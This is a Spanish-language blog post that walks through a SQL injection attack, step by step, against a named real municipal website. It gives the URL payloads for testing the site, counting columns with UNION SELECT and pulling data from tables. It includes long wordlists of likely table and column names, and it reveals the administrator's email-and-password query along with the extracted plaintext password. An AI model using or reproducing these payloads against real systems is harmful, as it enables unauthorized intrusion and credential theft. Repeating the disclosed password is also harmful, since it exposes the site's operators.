Tutorial de SQL Injection
Posted by : ohkMalganis
on 7:13:00 p. m.
Manuales:
Tutorial que te explica como hacer sql inyection;
Empezemos, 1 necesitamos una web vulnerable a sql inyection,googleamos y encontramos esta http://www.aytovillamayor.es/noticias.php?id=
como sabemos si es vulnerable?? facil metamosle este 22´ al final de la variable y quedaria asi
http://www.aytovillamayor.es/noticias.php?id=22%B4
Como se que es vulnerable??, facil nos dara el siguiente error;
Como pueden ver nos dio este error: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhost/aytovillamayor.es/home/html/noticias.php on line 29
Ahora el 2 paso!
Encontrando los numeros de columnas.
Para esto quitaremos el 22´ , y iremos probando cuantas columnas tiene,
haciendo lo siguiente -1+union+select+0-- , si no nos muestra numeros en la pantalla, y nos sigue dando el error proseguimos asi, -1+union+select+0,1--, si sigue dando el error seguimos, -1+union+select+0,1,2--, y wuala!!
Nos mostro los numeros en la pantalla, asi que la inyeccion seria esta:
http://www.aytovillamayor.es/noticias.php?id=-1+union+select+0,1,2--
Muy bien, ya tenemos los numeros de columnas, ahora proseguimos a buscar el nombre de la tabla, aqui nos dificultaria el trabajo porque aveces son bastantes dificiles de encontrar,
Ahora la inyeccion cambia, sera entonces de esta manera, -1+union+select+0,1,2+from+ELNOMBREDETABLA--
Entonces como sabremos el nombre de esta tabla??!, faciil probando con estos noombres de tablas que les dejare:
admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','usuarios','member','members','admin_table',
'miembro','miembros','membername','admins','administrator',
'administrators','passwd','password','passwords','pass','Pass',
'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contraseña','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
'associated','accnt','customers','customer','membres','administrateur','utilisateur',
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO'
Estos nombres los saque de un scanner que les facilitara el trabajo que luego les dejare...
Bueno seguimos, ahora que ya tienen estos nombres de tablas que rayos haran con esto?!,
en la inyeccion anterioir puse esto: -1+union+select+0,1,2+from+ELNOMBREDETABLA--
Ahora remplazaremos NOMBREDETABLA por administradores que es el nombre de la tabla de la web!...
Quedaria asi la inyeccion: http://www.aytovillamayor.es/noticias.php?id=-1+union+select+0,1,2+from+administradores--
Y nos mostraria los numeros en pantalla!!!
mirenlos aqui
Como ven, siempre cuando estemos probando los numeros de columnas, o el nombre de la tabla, para estar seguro de que esas son nos tiene que mostrar unos numeros en la pantalla.
...
Ahora como sabemos el user y el pass del admin??!
De nuevo facil.
En este caso habra que buscar los nombres de columnas en la tabla.
Como los numeros que nos aparecieron son, 0 y 1, tendremos que cambiar estos dos numeros, por los nombres de las columnas en tabla.
Aca les dejo un listado:
admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
'user_pwd','u_pass','clave','usuario','contraseña','pas','sistema_password','autor','upassword','web_password','web_username');
------------------------------------------------------------------------------------------------------------------------
Ahora como seria la inyeccion, bueno en mi caso, probe con email y clave, entonces, como se que estos son los verdaderos datos, bueno probe, probe y probe, hasta que, me presento el email que en este caso sera el user, y el password que en este caso es Yt0adm2008...
Entonces quedo asi: http://www.aytovillamayor.es/noticias.php?id=-1+union+select+email,1,clave+from+administradores--
Como pueden ver, remplaze el 0 y el 1 , por las dos nombres de columnas en tablas que son, email y clave,
Pero por que por el 0 y por el 1?, por que no mejor con el 2?
Porque siempre tiene que ser con los numeros que nos aparescan en pantalla!.
Bueno, es mas que todo lo básico.
Un saludo
By N3xtdoor!.
Suscribirse a:
Enviar comentarios (Atom)
1 comentarios:
sencillamente genial, deberias explicar mas en profundidad el tema de sql injection :P
Publicar un comentario